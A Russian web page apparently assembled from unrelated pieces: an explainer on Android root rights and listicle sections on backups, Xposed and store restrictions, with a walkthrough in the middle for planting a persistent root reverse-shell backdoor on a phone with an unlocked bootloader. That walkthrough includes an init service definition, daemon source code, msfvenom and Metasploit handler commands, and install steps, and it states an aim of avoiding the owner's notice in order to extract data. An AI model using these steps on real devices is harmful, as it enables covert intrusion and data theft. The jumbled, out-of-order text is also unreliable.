Впервые root был получен на первом в мире Android-устройстве HTC Dream G1, выпущенном в далеком 2008 году. На устройстве был запущен сервис Telnet с правами root и без аутентификации. Для получения временного root-доступа было достаточно подключиться к смартфону по Telnet, для постоянного — залить в системный раздел бинарный файл su.

Виды Root прав

Cуществует несколько видов Root прав:

  • Full Root — постоянные права, снимающие установленные ограничения. Обновлять операционную систему не рекомендуется.
  • Shell Root – аналог Full Root, но без доступа к папке system.
  • Temporary Root – временный Root доступ. После перезагрузки устройства он пропадает.

Способы получения Root-прав

Для получения root прав используются различные кастомные рекавери, такие как TWRP, OrangeFox Recovery или CWM, после чего требуется прошить zip-файл SuperSu или Magisk. Также для Magisk имеется способ использующий изменение boot.img в системе, используя его замену с помощью ADB.

На данный момент существует два варианта получения прав root:

Эти программы не используют эксплоиты для получения root прав., а также не используют ПК в большинстве случаев.

Внедряемся в систему с установленными root-правами

Внесём небольшое изменение, добавим в описание нашего демона seclabel который определяет какой SELinux контекст должен назначить init для запущенного системного сервиса:

service revshell /system/bin/revshell
    disabled
    seclabel u:r:magisk:s0
    shutdown critical
 
on property:sys.boot_completed=1
    start revshell

Подготовим исполняемый файл для демона и соберём его под arm64.

#pragma once

#include <cerrno>
#include <cstdarg>
#include <cstring>
#include <string>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <dirent.h>
#include <pthread.h>
#include <signal.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mount.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <android/log.h>

#define LOG_TAG "revshell"
#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR,    LOG_TAG, __VA_ARGS__)
#define LOGW(...) __android_log_print(ANDROID_LOG_WARN,     LOG_TAG, __VA_ARGS__)
#define LOGI(...) __android_log_print(ANDROID_LOG_INFO,     LOG_TAG, __VA_ARGS__)
#define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG,    LOG_TAG, __VA_ARGS__)

#define ENCRYPTED_FS_CHECK_DIR "/data/data"
#define ENCRYPTED_FS_CHECK_PROOF "android"
#include "revshell.hpp"

bool check_fs_decrypted() {
    bool result = false;
    struct dirent *entry;
    DIR *dir = opendir(ENCRYPTED_FS_CHECK_DIR);
    if (dir == NULL) {
        return result;
    }
    while ((entry = readdir(dir)) != NULL) {
        if (strstr(entry->d_name, ENCRYPTED_FS_CHECK_PROOF)) {
            result = true;
        }
    }
    closedir(dir);
    return result;
}

int run_in_main_proc() {
    LOGD("Start successfull!\n");

    signal(SIGINT, SIG_IGN);
    signal(SIGHUP, SIG_IGN);
    signal(SIGQUIT, SIG_IGN);
    signal(SIGPIPE, SIG_IGN);
    signal(SIGCHLD, SIG_IGN);
    signal(SIGTTOU, SIG_IGN);
    signal(SIGTTIN, SIG_IGN);
    signal(SIGTERM, SIG_IGN);
    signal(SIGKILL, SIG_IGN);

    LOGD("Signals are set to ignore\n");

    int timer_counter = 0;
    int timer_step = 5;

    LOGD("Hey I'm a revshell process!\n");
    LOGD("My PID -- %d\n", getpid());
    LOGD("My parent PID -- %d\n", getppid());
    LOGD("My UID -- %d\n", getuid());
    LOGD("Awaiting encrypted FS decryption now...");

    while (true) {
        sleep(timer_step);
        timer_counter = (timer_counter + timer_step) % INT_MAX;
        if (check_fs_decrypted()) {
            LOGD("FS has been decrypted!");
            break;
        }
    }

    LOGD("Starting reverse shell now");
    while (true) {
        sleep(timer_step);
        timer_counter = (timer_counter + timer_step) % INT_MAX;
        LOGD("tick ! %d seconds since process started", timer_counter);
    }

    LOGD("Exit!\n");

    return 0;
}

int main(int argc, char *argv[]) {
    return run_in_main_proc();
}

Я использую именно такой подход для демонстрации работы, потому что так легко понять что сервис работает просто подключившись к logcat и почитав логи. Наш исполняемый файл работает следующим образом: запускается, скидывает в логи приветственное сообщение, далее он ожидает расшифровки хранилища, для этого он полагается на то что внутри директории с приватными хранилищами приложений появится запись содержащая строку «android», которая присутствует в имени пакета многих системных приложений, после этого он сбрасывает в логи запись о том что хранилище расшифровано и запускается reverse-shell, а дальше просто раз в пять секунд сбрасывает в логи сообщение о том что он запущен и работает.

Перезагрузимся в TWRP, смонтируем system и скопируем получившийся исполняемый файл в /system/bin/revshell, а скрипт демона в /system/etc/init/revshell.rc

Перезагружаем устройство и начинаем слушать логи:

$ adb logcat | grep revshell

Когда система загрузилась, и показался экран ввода кода разблокировки видим в логах следующее:

01-31 23:42:07.587  3589  3589 D revshell: Start successfull!
01-31 23:42:07.588  3589  3589 D revshell: Signals are set to ignore
01-31 23:42:07.588  3589  3589 D revshell: Hey I'm a revshell process!
01-31 23:42:07.588  3589  3589 D revshell: My PID -- 3589
01-31 23:42:07.588  3589  3589 D revshell: My parent PID -- 1
01-31 23:42:07.588  3589  3589 D revshell: My UID -- 0
01-31 23:42:07.588  3589  3589 D revshell: Awaiting encrypted FS decryption now...

Отлично, хранилище ещё не расшифровано, но демон успешно запустился и работает, трюк с seclabel u:r:magisk:s0 сработал!

Вводим код разблокировки и видим в логах:

01-31 23:42:27.597  3589  3589 D revshell: FS has been decrypted!
01-31 23:42:27.597  3589  3589 D revshell: Starting reverse shell now
01-31 23:42:32.597  3589  3589 D revshell: tick ! 25 seconds since process started
01-31 23:42:37.598  3589  3589 D revshell: tick ! 30 seconds since process started
01-31 23:42:42.599  3589  3589 D revshell: tick ! 35 seconds since process started
01-31 23:42:47.600  3589  3589 D revshell: tick ! 40 seconds since process started

Посмотрим, через adb запущенные процессы и увидим там наш демон:

$ adb shell
$ ps -Zef | grep revshell                                                                                                    
u:r:magisk:s0                  root          3589     1 0 23:42:06 ?     00:00:00 revshell
u:r:shell:s0                   shell         5546  5495 1 23:48:21 pts/0 00:00:00 grep revshell

Он запущен процессом init, как системный сервис, убить его без root-прав мы не можем:

$ kill -9 3589
/system/bin/sh: kill: 3589: Operation not permitted

А убив его c root-правами, увидим что он тут же был перезапущен системой, потому что именно так система поступает с критическими системными сервисами:

$ su
# kill -9 3589
# ps -Zef | grep revshell                                                                                                    
u:r:magisk:s0                  root          5592     1 0 23:51:34 ?     00:00:00 revshell
u:r:magisk:s0                  root          5601  5573 5 23:52:08 pts/1 00:00:00 grep revshell

Отлично. Это уже похоже на успех. У нас получилось внедрить исполняемый файл, который может открыть нам удалённый доступ к устройству прямо в смартфон с зашифрованным хранилищем. Мы смогли его запустить и нам не пришлось разблокировать смартфон, не пришлось ничего расшифровывать. Достаточно было знать об особенностях шифрования хранилища в смартфонах и о возможностях которые дал нам разблокированный загрузчик.

Однако пока что мы полагаемся на права, которые нам предоставил SELinux контекст маджиска, а для извлечения данных нам необходимо уметь запустить такой же демон, но на любом устройстве, в том числе на устройстве без root-прав.

Дополнительно:  Как поставить root через twrp

  1. Анна. Что Такое Рут-Права На Андроид? AndroidMir.org (8 октября 2017). Дата обращения: 31 января 2019. Архивировано 1 февраля 2019 года.
  2. Что такое Root-права на android и как их получить (рус.). ESET NOD32. Дата обращения: 28 октября 2022. Архивировано 28 октября 2022 года.

Причина #9. Бэкап

Начиная с версии 3.1 в Android существует встроенный механизм бэкапа, скрытый от пользователя, но используемый такими инструментами, как, например, Helium. Однако сам по себе он очень простой и позволяет сделать бэкап только сторонних приложений и их настроек, что очень далеко от понятия «полный бэкап системы».

Однако есть и инструмент, способный сбэкапить абсолютно все, включая все приложения, их настройки, настройки самой системы, а также выполнить множество сервисных функций, таких, например, как заморозка приложений, когда система не видит программу, но сама программа присутствует на устройстве. Приложение носит имя Titanium Backup, и, конечно же, оно требует права root.

Titanium Backup
Titanium Backup

Причина #8. Полная отвязка от Google и других сервисов

Кроме того что помогает избавиться от Bloatware (см. причину номер один), root также позволяет полностью отвязать смартфон от каких-либо сервисов сторонних компаний, будь то Google или сервисы самого производителя устройства. В журнале уже была опубликована большая статья, посвященная этой теме, поэтому не буду повторяться, скажу лишь, что дополнительные сведения о том, какие компоненты системы сливают информацию, а какие нет, всегда можно узнать на профильных форумах, посвященных конкретному устройству или компании-производителю.

1Mobile: анонимный маркет для Android
1Mobile: анонимный маркет для Android

SELinux

Безопасность в android устроена сложнее чем хотелось бы злоумышленникам и представляет из себя многослойную систему. Unix DAC (discretionary access control), привычная нам система пользователей и назначения прав на файлы типа rwxrwxrwx является лишь частью мер по предотвращению злоупотребления операционной системой и устройством. Помимо неё есть ещё MAC (mandatory access control), в android это SELinux (Security Enhanced Linux). Суть MAC в возможности намного более гибко управлять доступом к различным ресурсам чем DAC, в том числе описывая для этого свои уникальные сущности и правила.

Уровни контроля доступа в android
Уровни контроля доступа в android

Отсюда следует несколько неочевидный ранее вывод – на android root-права в привычном для других дистрибутивов linux понимании, т.е. когда uid пользователя в системе равен 0, вовсе не означают что мы можем делать всё что угодно. Несмотря на то, что процесс init запущен с uid=0, он не может запустить сторонний сервис. Дело в том что SELinux не оперирует понятиями системных пользователей и групп, и если какое-то действие не было явно разрешено, то он его запретит и ему безразлично пытается ли его совершить непривилегированный пользователь или root. Он работает «выше» DAC и может запретить любое действие, которое DAC разрешил.

Вот отличный пример в android с самим файлом, содержащим политики SELinux:

$ ls -laZ /sys/fs/selinux/policy                                                                                             
-r--r--r-- 1 root root u:object_r:selinuxfs:s0 0 1970-01-01 03:00 /sys/fs/selinux/policy
$ cat /sys/fs/selinux/policy                                                                                                  
cat: /sys/fs/selinux/policy: Permission denied

На нём стоит доступ для чтения для любых пользователей, но при попытке прочитать его мы получим Permission denied, потому что ни для процессов с контекстом u:r:shell:s0, ни для процессов с контекстом u:r:untrustedapp:s0 нет разрешения на чтение файлов u:objectr:selinuxfs:s0.

SELinux оперирует понятиями контекстов, которые присваиваются файлам и процессам, и правил взаимодействия между объектами принадлежащим разным контекстам. Наборы этих правил объединяются в политики. Они описываются в файлах *.te  в исходниках android, можно посмотреть примеры вот тут. Политики собираются на этапе сборки системы и, теоретически, не могут изменяться во время её работы, они компилируются в специальный бинарный формат, который уже использует система. 

Контекст SELinux на процессах и файлах можно посмотреть, добавив к выполняемой команде флаг -Z. Например, для просмотра контекстов на файлах в текущей папке можно вызвать команду ls -laZ, а на процессах, соответсвенно, ps -efZ. 

Как было упомянуто выше в секции про процесс загрузки системы, первое действие которое совершает процесс init – загружает и применяет политики SELinux, а одна из первых применяемых политик заключается в том что процессу с контекстом u:r:init:s0 запрещается делать transition в другой контекст. Политики SELinux специально строятся по принципу «запрещено всё что не разрешено», и создатели операционной системы, разумеется, позаботились о том, чтобы злоумышленник получивший возможность прописать запуск какого-то сервиса в автозапуск не смог это сделать. Контекст процесса init организован таким образом что он может запустить только те системные сервисы, для которых явно прописано разрешение на запуск во время загрузки системы, и после сборки системы это изменить нельзя. 

SELinux может работает в трёх режимах:

  • enforcing – все действия описываемые политиками логируются и принудительно следуют правилам, т.е. если действие явно не разрешено, то оно не будет выполнено

  • permissive – все действия описываемые политиками логируются но не следуют правилам принудительно, т.е. даже если действие явно не разрешено, оно будет выполнено, несмотря на ругань в логах

  • disabled – никакие действия не логируются и не ограничиваются

В нормально работающей системе android версии от 5.0 SELinux всегда будет в режиме enforcing. Если по каким-то причинам он будет переведён в режим permissive, то пользователю ещё до ввода кода разблокировки покажут большое страшное уведомление об этом и о том что его система небезопасна. Мы точно не имеем права переводить SELinux в permissive режим, потому что это выдаст пользователю факт модификации его устройства, и он может предпочесть уничтожить данные. 

В каждой версии android, начиная с 5 политики SELinux сильно ужесточаются и всё меньше и меньше всего остаётся разрешённым. Иронично, но начиная с android 8 даже если прошить в системный раздел исполняемый файл su и сделать его системным и принадлежащим root:root, он не сможет работать без специально назначенных ему политик. 

Тем не менее инструменты для получения root-прав существуют, и они умеют обходить ограничения MAC, работать на самых свежих версиях android и даже на устройствах, которые помимо них дополнительно имеют отдельные механизмы контроля целостности системы (например устройства Samsung). Так как же тогда работает root в современных реалиях?

Проверяем на реальном устройстве

Ловить удалённое подключение от устройства будем на Kali в виртуалке. Для этого на ней сгенерируем пейлоад:

$ msfvenom -p linux/aarch64/meterpreter/reverse_tcp LHOST=<LISTENER_IP> LPORT=<LISTENER_PORT> -f elf > revshell

И настроим слушатель:

$ msfconsole -q
> use exploit/multi/handler
> set PAYLOAD payload/linux/aarch64/meterpreter/reverse_tcp
> set LHOST <LISTENER_IP>
> set LPORT <LISTENER_PORT>
> run -j

После этого возвращаемся на хост машину.

$ git clone https://github.com/LuigiVampa92/unlocked-bootloader-backdoor-demo.git
$ cd unlocked-bootloader-backdoor-demo

Исполняемый файл по пути revshell/revshell заменим на нагрузку сгенерированную в Kali. После этого приступим к сборке.

Создадим для скрипта сборки переменную окружения, указывающую на абсолютный путь к android-sdk (зависит от вашей операционной системы):

$ ANDROID_SDK_ROOT=/usr/lib/android-sdk
$ export ANDROID_SDK_ROOT

Подготавливаем NDK для сборки. Это нужно сделать именно через установочный скрипт, т.к. скрипту будет нужен отдельный изолированный инстанс NDK для сборки и рассчитывать он будет именно на него:

$ ./buildrevshell.py ndk
$ ./buildrevshell.py

Собранные пакеты будут лежать в директории out. 

Переходим к установке.

Сперва перезагружаем устройство в режим fastboot. На разных устройствах это делается по-разному. В большинстве случаев необходимо выключить устройство, зажать одну из физических кнопок регулирования громкости (например кнопку прибавления громкости) и не отпуская её нажать на несколько секунд кнопку питания. 

$ fastboot boot twrp.img

Небольшое важное отступление. Я смог проверить работу только на устройствах которыми располагаю сам. Среди них были устройства на android 9 и 10, LineageOS 16 и 17, с классическим init как в старых системах и two-stage-init + system-as-root. Среди них не было устройств с system-as-root на android 9 и устройств с A/B партициями. Поэтому если конфигурация вашего устройства отличается, то на нём могут возникнуть непредвиденные проблемы. Я рекомендую сделать бэкапы важных разделов и сохранить их для того, чтобы иметь возможность восстановить их руками, в случае если что-то пойдёт не по плану.

Обычно это будет раздел boot, сделать его бэкап после загрузки TWRP можно так:

$ adb shell
# ls -la /dev/block/by-name | grep boot                                                                                                                                                                         
lrwxrwxrwx 1 root root   16 1973-02-14 07:56 boot -> /dev/block/sde19
# dd if=/dev/block/sde19 of=/tmp/boot.img
131072+0 records in
131072+0 records out
67108864 bytes transferred in 0.429 secs (156430918 bytes/sec)
# ^D
$ adb pull /tmp/boot.img
/tmp/boot.img: 1 file pulled, 0 skipped. 35.8 MB/s (67108864 bytes in 1.785s)

Проверьте есть ли у вас отдельные разделы для DTB, для этого зайдите в adb shell и выполните:

$ ls -la /dev/block/by-name | grep dtb

Если увидите в списке dtb, dtbo и dtbs, то сделайте и их бэкапы тоже.

Ещё пара дежурных предупреждений: 

  • Пожалуйста производите все действия только на своём устройстве

  • Убедитесь что на устройстве нет важных данных которые страшно потерять

  • Все действия выполняются на ваш страх и риск

Поехали. Запускаем sideload через GUI (Меню/Advanced/Sideload) или из терминала:

$ adb shell 'twrp sideload'
$ adb sideload zip_reverse_shell_install.zip

Важно! Здесь в зависимости от того был ли на устройстве предварительно установлен magisk или нет будет пропатчен или не пропатчен boot раздел. Если на устройстве magisk ранее установлен не был, то необходимо будет сохранить бэкапы оригинальных разделов. Сделать это нужно обязательно, даже если предварительно сделали бэкапы руками, иначе удалять наш инструмент также придётся руками, потому что деинсталлятор будет полагаться на наличие именно этих бэкапов, именно в этом формате. В логе TWRP тоже вылезет большое предупреждение об этом.

Вытаскиваем бэкапы с устройства:

$ adb pull /tmp/backup_original_partitions .

Теперь можно выключить или перезагрузить устройство. 

Удаление с устройства производится в обратном порядке:

Перезагружаемся в fastboot

$ fastboot boot twrp.img

Если сохраняли бэкапы во время установки, то вызываем:

$ adb push backuporignialpartitions /tmp/backuporignialpartitions
$ adb shell 'twrp sideload'
$ adb sideload zip_reverse_shell_uninstall.zip

Причина #3. Обход ограничений маркета

При заливке приложения в маркет у каждого разработчика есть масса опций для фильтрации устройств, с которыми должно быть совместимо приложение. Это могут быть модель устройства, архитектура процессора и даже мобильный оператор и страна. Если твое устройство не пройдет такой фильтр, то запрашиваемое приложение просто не будет найдено либо ты увидишь пометку «Приложение несовместимо с вашим устройством» в веб-версии маркета.

Market Helper
Market Helper

Потеряю ли я гарантию после получения root?

Конечно да! Это факт. Точно также теряют гарантию владельцы iPhone, после джейлбрейка. Но, к счастью, вернуться к стоковой (стандартной) прошивке производителя («откатится к стоку») и убрать root-права также легко. Поэтому, после таких манипуляций никто не догадается что у вас были установлены рут-права и вы дальше сможете предъявлять претензии по гарантии.

  • Full Root — полные и постоянные root-права без ограничений.
  • Shell Root — постоянные root-права, но без доступа к изменению каталога /system.
  • Temporary Root — временные root-права. Если нет возможности получить полный Root, получить временный обычно можно всегда. После перезагрузки права суперпользователя пропадают, как и все внесенные изменения. Временные права могут давать некоторые приложения для получения Root-прав[5].

Как работают root-права?

Когда то, для установки root-прав достаточно было перемонтировать раздел system в режим чтения-записи и скопировать туда исполняемый файл su. Затем появилась необходимость думать также и о политиках SELinux, и об AVB. Сегодня для получения root-прав можно выделить два основных подхода, которые можно условно назвать «легальным» и «нелегальным».

Причина #5. Xposed

Xposed — это фреймворк, позволяющий приложениям вклиниваться в работу любого компонента системы или приложения и изменять его поведение (так же как это делает фреймворк MobileSubstrate для iOS). Простыми словами — Xposed позволяет устанавливать твики, так же как это позволяет делать Cydia в iOS.

Твиков для Xposed существует сотни, буквально на все случаи жизни. С их помощью можно изменять внешний вид системы (твики GravityBox и Android Theme Engine), тонко настраивать прошивки от производителей (Sense Toolbox, XTouchWiz), запускать приложения в плавающем окне (XHaloFloatingWindow), изменять системные настройки отдельно для каждого приложения (App Settings позволяет менять язык, DPI, ориентацию экрана и многое другое), отзывать полномочия на доступ к функциям системы у приложений (XPrivacy) и многое другое.

Инсталлятор твиков Xposed
Инсталлятор твиков Xposed

Оцените статью
Master Hi-technology
Добавить комментарий